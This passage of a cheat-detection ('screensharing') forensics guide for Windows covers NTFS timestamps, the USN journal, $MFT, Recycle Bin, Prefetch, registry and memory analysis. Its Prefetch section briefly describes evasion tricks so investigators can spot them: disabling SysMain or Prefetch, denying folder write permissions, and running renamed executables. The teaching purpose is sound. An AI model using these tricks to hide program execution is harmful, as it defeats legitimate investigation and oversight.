concepts of Windows file systems, timestamps, and key components that are frequently analyzed during screenshares. Mastering these fundamentals is crucial for building accurate timelines, understanding file lifecycles, and detecting manipulation attempts. [PreviousAnti-Corruption Measures](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/anti-corruption-measures) [NextFile Systems: The Foundation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation) Last updated 1 year ago --- # Fundamental Timestamps | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/fundamental-timestamps.md) . Files within NTFS contain several timestamps that record crucial metadata about their history and usage. Understanding these timestamps, their meaning, and their reliability is fundamental for accurate analysis during screenshares. The most commonly referenced set is known by the acronym **MACB**: * **(M) Modified:** This timestamp precisely indicates the **last time the** _**content**_ **of the file itself was altered**. Actions like saving changes within a document, editing image data, recompiling code within an executable, or appending data to a log file will update the Modified time. * **(A) Access:** This timestamp theoretically records the **last time the file was accessed** – which could mean being opened for reading, written to, or executed. **However, in the context of screensharing, this timestamp is considered unreliable** as definitive proof of direct _user_ interaction or execution. Numerous background system processes, indexing services (like Windows Search), antivirus scanners, compatibility assistants, and even simply navigating folders in Explorer can trigger updates to the Access time _without the user actively opening or running the file_. Relying on the Access time to prove a cheat was executed by the player can easily lead to **false positives** and incorrect conclusions. Its evidentiary value is often minimal in isolation. * **(C) Changed:** This timestamp reflects the **last time the file's** _**metadata**_ **was altered within the Master File Table ($MFT) entry**. This includes changes to file attributes (like Read-Only, Hidden), security permissions (ACLs), renaming the file, or moving the file _within the same volume_. Note that modifying the file's _content_ (which updates the Modified time) does _not_ necessarily update the Changed time unless metadata is also altered simultaneously. * **(B) Birth:** This timestamp marks the exact moment the file was **created on the** _**specific file system volume**_ (e.g., the C: drive, a USB drive). It's crucial to understand that **copying** a file from one location to another (even on the same volume, but especially to a different volume) results in the copied file receiving a **new Birth time** corresponding to the moment the copy operation completed at the destination. Moving a file _within the same volume_ typically preserves the original Birth time but updates the Changed time. Accurate interpretation demands acknowledging the nuances of each timestamp, especially the general **unreliability of the Access time** for proving deliberate user actions in typical screenshare scenarios. Corroboration with other artifacts is almost always necessary. [PreviousJournaling (Definition, Purpose)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/journaling) [NextKey NTFS Components](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components) Last updated 1 year ago --- # File Systems: The Foundation | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation.md) . [File System (Definition, Types: NTFS, FAT32, etc.)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/file-system) [Journaling (Definition, Purpose)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/journaling) [PreviousWindows Fundamentals](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals) [NextFile System (Definition, Types: NTFS, FAT32, etc.)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/file-system) Last updated 1 year ago --- # Journaling (Definition, Purpose) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/journaling.md) . _Journaling_ is a vital feature implemented in modern file systems like NTFS (as well as ext4, APFS, etc.) specifically designed to **enhance data reliability and ensure file system integrity**, particularly in the event of unexpected system shutdowns, crashes, or power failures. Instead of directly modifying the complex structures on the disk (like the Master File Table or directory indexes) immediately when a change is requested, a journaling file system first records the _intended_ changes in a special log file – the **journal**. This log entry details the operation that is about to occur (e.g., writing data, creating a file, deleting a file). Only _after_ this intention is securely logged in the journal does the file system proceed to apply the actual change to the main disk structure. The primary purpose of this mechanism is **crash recovery**. If the system crashes midway through writing a file or updating metadata, upon restart, the file system doesn't need to perform a lengthy and exhaustive scan of the entire disk to check for inconsistencies (like the old `chkdsk` utility on non-journaled systems). Instead, it simply reads the journal. The journal reveals which operations were successfully completed before the crash, which were logged but not yet completed, and which might be in an inconsistent state. Based on this log, the file system can quickly "replay" the logged, incomplete operations to ensure they are finished correctly, or "roll back" transactions that didn't complete, bringing the file system back to a consistent and stable state very rapidly. This significantly speeds up system boot times after failures and drastically reduces the risk of data corruption. In NTFS, specific metadata files like `**$UsnJrnl**` (the Update Sequence Number Journal, tracking file/directory changes) and `**$LogFile**` (tracking metadata transaction changes) are key components of its journaling and logging capabilities. [PreviousFile System (Definition, Types: NTFS, FAT32, etc.)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/file-system) [NextFundamental Timestamps](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/fundamental-timestamps) Last updated 1 year ago --- # Common Windows Artifacts and Their Basic Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis.md) . Beyond the fundamental NTFS structures, the Windows operating system creates and maintains numerous artifacts – files, logs, and registry entries – that record user and system activity. Understanding these common artifacts and how to perform basic analysis on them is **fundamental** for any ScreenSharer. These locations often hold direct or indirect evidence of program execution, file access, deletions, and attempts to conceal activities. This section delves into the most frequently encountered artifacts during screenshares. [PreviousFile Attributes (Read-Only, Hidden, etc.) - Manipulable Properties](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/file-attributes-manipulable-properties) [NextExecution Traces and Recent Activity](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity) Last updated 1 year ago --- # The Journal ($USNJrnl) - The Change Log | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/the-journal-the-change-log.md) . As a core part of its journaling capability, NTFS utilizes the `$UsnJrnl` metafile. This file is typically located in a hidden system directory, often `C:\$Extend` (as noted previously, usually inaccessible via standard Explorer). The `$UsnJrnl` functions as a detailed **logbook of changes** made to files and directories across the volume. It tracks a wide array of activities, providing a chronological record of filesystem events, including: * File and directory creation (`FILE_CREATE`). * File and directory deletion (`FILE_DELETE`). * File and directory renaming (`RENAME_OLD_NAME`, `RENAME_NEW_NAME`). * Changes to file data content (e.g., overwriting data `DATA_OVERWRITE`, extending file size `DATA_EXTEND`, shrinking file size `DATA_TRUNCATION`). * Modifications to file attributes or security settings (`BASIC_INFO_CHANGE`). * Changes involving Alternate Data Streams (`STREAM_CHANGE`). Interestingly, the main `$UsnJrnl` file itself might appear empty or small if viewed directly. The crucial log data resides within two _Alternate Data Streams (ADS)_ associated with this metafile: * `**$Max**`**:** Contains metadata _about_ the journal, such as its unique ID, maximum size limit, and allocation granularity. * `**$J**`**:** This stream contains the actual sequence of **USN Records** – the individual log entries detailing filesystem changes. _USN Records (Update Sequence Number Records):_ These are the fundamental entries within the `$J` stream. Each record documents a specific change event and typically includes: * An Update Sequence Number (a monotonically increasing number identifying the record). * The File Reference Number (FRN) of the file or directory affected. * The FRN of the parent directory. * A USN Reason Code (a flag indicating the type(s) of change, like `FILE_CREATE`, `FILE_DELETE`, `DATA_OVERWRITE`, `BASIC_INFO_CHANGE`, etc.). * Source Information (indicating if the change was user data, OS data management, etc.). * Security ID (SID) of the user/process making the change (availability may vary). * File Attributes at the time of the change. * The filename. * A precise timestamp for the event. Utilities like Windows' built-in `fsutil usn readjournal c:` or specialized forensic tools (like MFTECmd, JournalTrace, Echo Journal Viewer) are necessary to parse the binary `$J` stream and interpret these USN records, providing a powerful timeline of file system activity, even for deleted items. [PreviousMaster File Table ($MFT) - The File Catalog](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/master-file-table-the-file-catalog) [Next$LogFile (Metadata Log) - Specific Log for Metadata Changes](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/logfile-specific-log-for-metadata-changes) Last updated 1 year ago --- # File System (Definition, Types: NTFS, FAT32, etc.) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/file-system.md) . At its most basic level, a _file system_ is the organizational structure that an operating system uses to manage how data is stored, accessed, and retrieved on storage media like Hard Disk Drives (HDDs), Solid State Drives (SSDs), or USB flash drives. It defines the rules for naming files and directories (folders), managing permissions, storing metadata (information _about_ the files), and maintaining the overall hierarchical structure (the familiar tree of folders and files). Different operating systems support various file systems, each offering distinct features, performance characteristics, and limitations. While numerous file systems exist (like HFS+ or APFS for macOS, ext4 for Linux), screenshares conducted on player PCs almost invariably encounter Windows environments. Therefore, this guide primarily focuses on the file systems most relevant to Windows: * **NTFS (New Technology File System):** This is the **standard, modern file system** used by default for internal drives on virtually all current versions of Windows (from XP/Vista onwards through Windows 10 and 11). Its prevalence makes understanding its specific features essential for screensharing. NTFS offers robust capabilities crucial for both system operation and forensic analysis, including: * **Journaling:** A mechanism to ensure data consistency and rapid recovery after crashes (discussed below). * Detailed File Permissions and Access Control Lists (ACLs). * Support for file encryption (EFS), compression, and large file/volume sizes. * Features like Alternate Data Streams (ADS) and hard links. * **FAT32 (File Allocation Table 32-bit):** An older, simpler file system often used for compatibility, especially on **removable media like USB drives** or older SD cards. Key limitations relevant to screenshares include: * **Lack of Journaling:** FAT32 **does not possess a journaling system** comparable to NTFS's `$UsnJrnl` or `$LogFile`. This absence significantly hinders the ability to track file creation, deletion, and modification history directly through filesystem logs on FAT32 volumes. * Limited permission controls. * Restrictions on individual file size (max 4GB) and volume size. * **exFAT (Extended File Allocation Table):** An evolution of FAT32, designed primarily for large-capacity flash drives and memory cards. It overcomes FAT32's file/volume size limits while maintaining broader cross-platform compatibility than NTFS (e.g., better support on macOS). However, like FAT32, exFAT **generally lacks robust journaling** features found in NTFS. Understanding which file system is in use (especially when examining external drives) is critical because it dictates which artifacts (like the USN Journal) are available for analysis. [PreviousFile Systems: The Foundation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation) [NextJournaling (Definition, Purpose)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/journaling) Last updated 1 year ago --- # Other Notable Folders/Locations | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/other-notable-folderslocations.md) . Beyond the primary artifacts detailed above, numerous other specific system locations can harbor valuable evidence or provide context during an investigation. While an exhaustive list is beyond the scope of this fundamental section, ScreenSharers should be aware of locations such as: * **Task Scheduler:** `C:\Windows\System32\Tasks` (and related registry keys). This folder stores the XML definitions of scheduled tasks configured to run automatically. It's a common location for malware persistence mechanisms or scripts designed to perform actions (like clearing logs) at specific times or events (e.g., user logon). Analyzing task definitions for suspicious commands, paths, or triggers is crucial. * **Program Compatibility Assistant (PCA):** `C:\Windows\appcompat\pca`. This location contains artifacts like `Amcache.hve` and `RecentFileCache.bcf`. These track application execution history and compatibility information. While sometimes considered secondary evidence, especially on older systems (Windows 7/8) or when other execution logs are cleared, they can provide valuable corroborating proof that a program was run. (Further details on Amcache/RecentFileCache analysis may be covered in later sections). * **PowerShell History:** `%AppData%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`. This plain text file logs the commands typed interactively into PowerShell sessions by the user. It's invaluable for identifying manual command-line activity, including potentially malicious script execution, file manipulation, or attempts to disable security features. * **User Assist:** These are not folders but specific **Registry keys** (located under `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`) that track the execution of GUI-based applications. They store encoded data about program launches, including run counts and last execution timestamps. Specialized tools or manual decoding are needed to interpret this data effectively. Awareness of these and other potential evidence locations expands the scope of a thorough screenshare beyond just the most common artifacts [PreviousRecycle Bin ( C:$Recycle.bin )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recycle-bin) [NextWindows Registry: Introduction](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction) Last updated 1 year ago --- # Recycle Bin ( C:$Recycle.bin ) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recycle-bin.md) . * * **Purpose:** The Recycle Bin acts as a temporary holding area for files and folders deleted by the user through standard methods (e.g., pressing the Delete key, right-clicking and selecting Delete). It allows users to potentially recover accidentally deleted items. Items deleted using Shift+Delete bypass the Recycle Bin entirely. * **Location:** Each NTFS volume typically has its own hidden, protected system folder named `$Recycle.bin` located at the root of the drive (e.g., `C:\$Recycle.bin`, `D:\$Recycle.bin`). * **Accessing:** To view the contents, you must first configure File Explorer options to: 1. "Show hidden files, folders, and drives." 2. _Uncheck_ "Hide protected operating system files (Recommended)." * **Forensic Analysis:** The key to analyzing the Recycle Bin lies in its internal structure and the metadata associated with deleted items. Within the `$Recycle.bin` folder, there are subfolders named according to the Security Identifiers (SIDs) of the users who deleted files. Inside a user's SID folder, each deleted item is represented by _two_ hidden files: * `**$I{unique_ID}.{original_extension}**`**:** This is the **metadata file**. It contains crucial information such as the _original full path_ of the deleted item and, most importantly, the **timestamp indicating exactly when the item was deleted**. The _Date Modified/Created_ timestamp of this `$I...` file itself reflects the deletion time. * `**$R{unique_ID}.{original_extension}**`**:** This file contains the **actual data content** of the deleted item. * Analyzing the **deletion timestamps** of `$I...` files is critical. Finding cheat-related files deleted shortly before or during a screenshare is a significant red flag. * Additionally, checking the **Date Modified timestamp of the** `**$Recycle.bin**` **folder itself** (or the specific user SID subfolder) can indicate the last time _any_ interaction occurred with the bin on that volume – such as deleting an item, restoring an item, or emptying the bin. A very recent modification time warrants investigation. * **Bypasses and Limitations:** * _Shift+Delete:_ As mentioned, this permanently deletes the file, bypassing the Recycle Bin structure. However, the deletion event itself is often still logged in other artifacts like the USN Journal (`$UsnJrnl`). * _FAT32/exFAT:_ Drives formatted with these file systems typically **do not have the standard** `**$Recycle.bin**` **structure**. Deletion behavior is different, and standard Recycle Bin analysis methods do not apply. File recovery tools (like Recuva) become more relevant on these systems. [PreviousRecent Items ( shell:recent )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recent-items) [NextOther Notable Folders/Locations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/other-notable-folderslocations) Last updated 1 year ago --- # Introduction to Process and Memory Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/introduction-to-process-and-memory-analysis.md) . _Process and memory analysis_ forms a critical pillar of manual screensharing. It involves the direct examination of the computer's **currently running processes** and the contents of the **system's Random Access Memory (RAM)** associated with those processes. Unlike analyzing files stored persistently on a hard drive (disk forensics), process and memory analysis focuses on **volatile data** – information that exists _only_ while the system is powered on and the relevant processes are active. * **Why is it Important?** * _Detecting Memory-Resident Threats:_ Many sophisticated cheats (especially injection-based or fileless ones) are designed to operate primarily or entirely within the memory space of the game process or other legitimate system processes, leaving minimal footprint on the disk. Memory analysis is often the _only_ way to detect such threats. * _Finding Recently Executed Traces:_ Even cheats that _do_ have files on disk might load strings, configurations, or code snippets into memory upon execution. Searching process memory can reveal these volatile traces shortly after execution, even if the original files are quickly deleted or obfuscated. * _Identifying Injected Code:_ Techniques like DLL injection or process hollowing involve placing malicious code within the address space of a legitimate process. Memory analysis allows ScreenSharers to inspect the memory of processes like `javaw.exe` (for Minecraft) or `explorer.exe` to find evidence of this foreign code. * _Uncovering Hidden Activities:_ Analyzing the strings or loaded modules within various system processes can reveal hidden activities, command-line arguments, loaded scripts, or network connections related to bypass attempts or cheat operation. * **Key Tool:** Tools like **Process Hacker** (now superseded by **System Informer**) are indispensable for this type of analysis, providing the necessary interface to view, inspect, and search within the memory of running processes. While powerful, memory analysis requires careful interpretation. Finding random strings that _might_ relate to a cheat is often insufficient; context, correlation with other evidence, and understanding normal system behavior are crucial to avoid false positives. [PreviousManual SS Techniques (Basic and Intermediate)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques) [NextProcess Hacker / System Informer: Introduction and Configuration](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration) Last updated 1 year ago --- # Prefetch ( C:\Windows\Prefetch ) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/prefetch.md) . * * **Purpose:** Originally conceived by Microsoft as a performance enhancement feature, Prefetching aims to speed up application launch times. It monitors the files and data an application accesses during its initial startup phase and pre-loads this information into memory the next time the application is launched. Forensically, however, the data stored within Prefetch files (`.pf`) serves as a **primary and highly valuable indicator of program execution**. * **Location:** Prefetch files are stored in a dedicated system folder: `C:\Windows\Prefetch`. Direct access is typically achieved via the Run dialog (Win+R) by typing `prefetch` and pressing Enter (requires administrator privileges). * **File Format & Naming:** Windows creates a `.pf` file for many executables (`.exe`) the first few times they are run. Each file follows a specific naming convention: `EXECUTABLENAME.EXE-HASH.pf`. * `EXECUTABLENAME.EXE`: The name of the executable that was launched. * `HASH`: An 8-character hexadecimal hash calculated based on the _path_ from which the executable was run. This means running the same `.exe` from different locations (e.g., Desktop vs. Downloads) will generate distinct `.pf` files with different hashes. * **Data Stored within** `**.pf**` **Files:** Each Prefetch file contains a wealth of metadata, invaluable for analysis: * _Executable Name:_ The name of the program launched. * _Executable Path Hash:_ The hash indicating the execution path. * _Run Count:_ The total number of times the application has been executed from that specific path. * _**Last Execution Timestamp:**_ This is a critical piece of data, indicating the precise date and time the application was last run from that path. **Crucially, the** _**Date Modified**_ **timestamp of the** `**.pf**` **file itself directly reflects this last execution time.** * _Previous Execution Timestamps:_ Prefetch files store the timestamps of up to the 8 most recent previous executions, providing a short-term execution history. * _Volume Information:_ Details about the disk volume (drive letter, volume name, serial number, volume creation date) where the executable resided during its last run. * _Referenced Directories & Files:_ A list of the specific directories and files (including DLLs and other resources) that the executable accessed during its initial startup phase (typically the first 10 seconds). * **Analysis Tools:** While the `.pf` files are binary, several tools facilitate their parsing and analysis: * _WinPrefetchView (Nirsoft):_ A widely-used, free GUI tool that parses `.pf` files and displays the extracted information in an easily readable format. The top pane lists the Prefetch entries, and the bottom pane shows details for the selected entry, including the crucial list of referenced files and directories loaded during startup. This is particularly useful for checking if a legitimate process (like `java.exe`) loaded a suspicious file (like a `.jar` cheat). * _PECmd (Eric Zimmerman):_ A powerful command-line tool offering more in-depth Prefetch analysis capabilities. It can extract all available metadata and is useful when WinPrefetchView encounters errors or when more granular analysis and correlation (e.g., via CSV output to Timeline Explorer) are needed. * _LastActivityView (Nirsoft):_ This tool aggregates data from multiple sources, _including_ Prefetch files, presenting a chronological view of system activity. * **Dependencies, Bypasses, and Detection Nuances:** * _Service Dependency:_ Prefetching relies on the **SysMain** service (previously known as Superfetch). If this service is stopped, Prefetch files may not be created or updated. Its status can be checked via an administrative Command Prompt using `sc query sysmain`. A **stopped service during a check is highly suspicious**. * _Registry Control:_ The feature's operational state (enabled/disabled levels) is controlled by the registry value `EnablePrefetcher` located at `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters`. A value of **0 typically indicates Prefetching is completely disabled**, which is also suspicious if not done for a legitimate reason (e.g., specific SSD optimization guides, though less common now). * _Permissions Bypass (_`_cacls_`_):_ Attackers might modify the permissions of the `C:\Windows\Prefetch` folder (e.g., using `cacls` or `icacls` commands) to deny write access, preventing the creation or updating of `.pf` files. Evidence of such permission changes can often be found in the USN Journal (`$UsnJrnl`) by looking for security change events related to the Prefetch directory. * _Hidden Files:_ Individual `.pf` files can be hidden using standard file attributes. To view potentially hidden Prefetch files, use an administrative Command Prompt: `dir /ah C:\Windows\Prefetch`. * _Renamed Extensions & Non-Exes:_ Prefetch primarily logs the execution of `.exe` files. * If an executable is renamed (e.g., `cheat.exe` to `cheat.tmp`) and executed using specific methods (like `Start-Process` in PowerShell), Prefetch **will still often create an entry**, but the filename part will reflect the _renamed_ extension (e.g., `CHEAT.TMP-HASH.pf`). Finding such entries is a **strong indicator of evasion**. * Executing `.jar` files typically generates Prefetch entries for the Java runtime (`java.exe` or `javaw.exe`). Analyzing the _referenced files list_ within these Java Prefetch entries is crucial for identifying the specific `.jar` file that was loaded. * DLL injections might create Prefetch entries for the host process used (e.g., `rundll32.exe`, `regsvr32.exe`) or the injector application itself. Again, analyzing the referenced files within these `.pf` entries can reveal the loaded DLL. * _Process Hollowing Indication:_ In some cases, observing a Prefetch entry in WinPrefetchView where the "Executable Path" field is empty or null _might_ be an indicator of process hollowing techniques having been used, although this is not definitive on its own. [PreviousExecution Traces and Recent Activity](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity) [NextTemporary Files ( %temp% )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/temporary-files) Last updated 1 year ago --- # Manual SS Techniques (Basic and Intermediate) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques.md) . While automated tools and artifact analysis provide a crucial foundation, proficiency in **manual screensharing techniques**, particularly involving process and memory inspection, remains an essential skill for any serious ScreenSharer. These techniques allow for real-time investigation of the system's volatile state, potentially uncovering cheats or bypasses that don't leave obvious traces on disk or that are designed to evade specific artifact logging. This section introduces the core concepts of process and memory analysis and details the basic usage of a cornerstone tool: Process Hacker / System Informer. [PreviousEvent Viewer ( eventvwr.msc )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-viewer) [NextIntroduction to Process and Memory Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/introduction-to-process-and-memory-analysis) Last updated 1 year ago --- # Master File Table ($MFT) - The File Catalog | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/master-file-table-the-file-catalog.md) . The _Master File Table_ (`$MFT`) is the **absolute heart and central database** of an NTFS volume. It is itself a special file that contains at least one entry, known as an MFT record (or segment), for **every single file and directory** residing on that volume. Each MFT record acts like a detailed index card, storing crucial metadata about the corresponding file or directory. This metadata includes: * Filename(s) (NTFS supports multiple names, e.g., short 8.3 names and long filenames) * File size (logical and physical) * File attributes (e.g., Read-Only, Hidden, System, Archive, Compressed, Encrypted) * Security permissions (ACLs) * The fundamental **MACB timestamps** (within specific attributes like `$STANDARD_INFORMATION` and `$FILE_NAME`) * Pointers (`$DATA` attribute runs) indicating the physical location(s) (clusters) on the disk where the actual file content is stored. For very small files, the data might even be stored directly within the MFT record itself (known as a "resident" file). Analyzing ("parsing") the `$MFT` provides a comprehensive catalog of nearly everything present (and often, recently deleted items whose records haven't been overwritten yet) on the volume. It's a **cornerstone artifact** for establishing file existence, timelines, and attributes. Any modification to a file's metadata recorded in its MFT entry updates the file's '(C) Changed' timestamp. [PreviousKey NTFS Components](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components) [NextThe Journal ($USNJrnl) - The Change Log](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/the-journal-the-change-log) Last updated 1 year ago --- # Windows Registry: Introduction | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction.md) . First introduced in Windows 3.1, the _Windows Registry_ has evolved into a central, hierarchical database that serves as the **core configuration hub** for the operating system and many of the applications and hardware components installed on it. Think of it as the system's central nervous system for settings; it stores a vast array of low-level options, preferences, hardware configurations, user profiles, application settings, and much more. Both Windows itself and third-party software rely heavily on the Registry to store and retrieve information necessary for their proper functioning. Developers utilize this database by creating and modifying entries known as "Keys" and "Values" to dictate how software and hardware behave. Its critical role in system operation also makes it a **goldmine for forensic investigators** and, consequently, a key area of examination during screenshares. The Registry contains a wealth of information about: * System configuration, hardware devices, and installed drivers. * Installed software, usage history, and uninstallation details (e.g., MRU lists, UserAssist, Amcache references). * User account information, preferences, and activity logs (e.g., last login, recently accessed documents via specific keys). * History of connected USB devices (USBSTOR keys). * Network configuration and connection history. * Potential malware persistence mechanisms (e.g., Run keys, service configurations, scheduled task registry entries). * Traces of specific bypass techniques or system modifications. However, modifying the Registry directly can have significant consequences, potentially leading to system instability or application malfunctions. This is why users are often cautioned against manual edits unless they know exactly what they are doing, and why backups are recommended before making substantial changes. * **Accessing the Registry:** * `**regedit.exe**` **(Registry Editor):** This is the primary built-in graphical tool for browsing and manually editing the Registry. It's accessed typically via the Run dialog (Win+R -> `regedit`). **Forensic Note:** The appearance of `regedit.exe` itself in execution logs (like Prefetch or BAM data) strongly suggests **direct user interaction** with the Registry. If this occurs shortly before or during gameplay or a screenshare, it warrants investigation into _what_ might have been changed or deleted. Regedit also tends to remember the last key accessed, which can sometimes provide a clue if the user didn't navigate away before closing it. * `**reg.exe**`**:** A command-line utility for querying, adding, deleting, and modifying Registry entries. It's often used in scripts or batch files for automated changes. **Forensic Note:** Seeing `reg.exe` in execution logs is a **strong indicator of deliberate Registry manipulation**, often related to clearing forensic artifacts (like BAM or UserAssist entries), modifying security settings, or implementing bypasses. Command-line history (if available, e.g., PowerShell history) might reveal the specific commands used. * **Third-Party Tools:** Specialized forensic tools like _Registry Explorer (Eric Zimmerman)_ offer capabilities beyond `regedit`. They can parse registry hive files directly (even offline), often recover deleted keys and values (highlighting them visually), provide powerful searching and filtering, and include bookmarks for forensically relevant locations. Other tools like RegScanner also offer enhanced search functionality. [PreviousOther Notable Folders/Locations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/other-notable-folderslocations) [NextRegistry Structure: Hives, Keys, and Values](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-structure-hives-keys-and-values) Last updated 1 year ago --- # Registry Structure: Hives, Keys, and Values | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-structure-hives-keys-and-values.md) . The Registry is organized in a hierarchical, tree-like structure, conceptually similar to folders and files in the file system. * **Hives:** These are the top-level containers, analogous to the root directories of the Registry. Each hive represents a major section of configuration data. The main hives are: * `**HKEY_LOCAL_MACHINE**` **(HKLM):** Stores system-wide settings related to hardware, operating system configuration, and installed software that applies to all users. These settings are physically stored in several files (without extensions) located in the `C:\Windows\System32\config` directory, such as `SAM`, `SECURITY`, `SOFTWARE`, and `SYSTEM`. * `**HKEY_CURRENT_USER**` **(HKCU):** Contains settings specific to the **currently logged-in user**. This includes user preferences, application settings for that user, desktop configuration, environment variables, etc. This hive is physically stored in the user's profile directory, typically at `C:\Users\{username}\NTUSER.DAT`. * `**HKEY_USERS**` **(HKU):** Contains the 